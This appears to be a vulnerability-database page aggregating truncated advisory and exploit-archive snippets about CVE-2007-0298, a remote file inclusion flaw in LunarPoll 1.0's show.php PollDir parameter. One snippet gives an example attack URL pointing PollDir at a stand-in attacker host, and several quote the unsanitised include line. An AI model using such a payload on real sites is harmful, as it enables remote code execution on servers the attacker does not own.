CVE-2007-0298

PHP remote file inclusion vulnerability in show.php in LunarPoll, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PollDir parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in show.php in LunarPoll, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PollDir parameter...

CVE-2007-0298

PHP remote file inclusion vulnerability in show.php in LunarPoll, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PollDir parameter...

CVE-2007-0298

CVE-2007-0298 concerns a PHP remote file inclusion in LunarPoll’s show.php when register_globals is enabled. An attacker could cause arbitrary PHP code execution by supplying a URL in the PollDir parameter. The affected component is LunarPoll’s show.php, targeting the PollDir input; root cause is...

LunarPoll Show.PHP远程文件包含漏洞

LunarPoll是一款基于PHP的WEB应用程序。 LunarPoll不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Show.PHP'脚本对用户提交的'PollDir'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Dexxaboy LunarPoll 1.0 目前没有解决方案提供： http://dexxaboy.com/scripts/lunarpoll/ http://www.example.com/show.php?PollDir=http://attacker.txt?...

lunar-rfi.txt

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir ilkerkandemiratmynet.c...

LunarPoll (PollDir) Remote File Include Vulnerabilities

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir ilkerkandemiratmynet.com Code:...

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== LunarPoll 1.0 show.php PollDir Remote File Include Vulnerability ================================================================== AYYILDIZ.ORG PreSents... Script:LunarPol...

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir ilkerkandemiratmynet.com Code:...

LunarPoll 1.0 - 'show.php?PollDir' Remote File Inclusion

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

LunarPoll 1.0 - show.php?PollDir Remote File Inclusion

LunarPoll 1.0 - show.php?PollDir Remote File Inclusion ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir...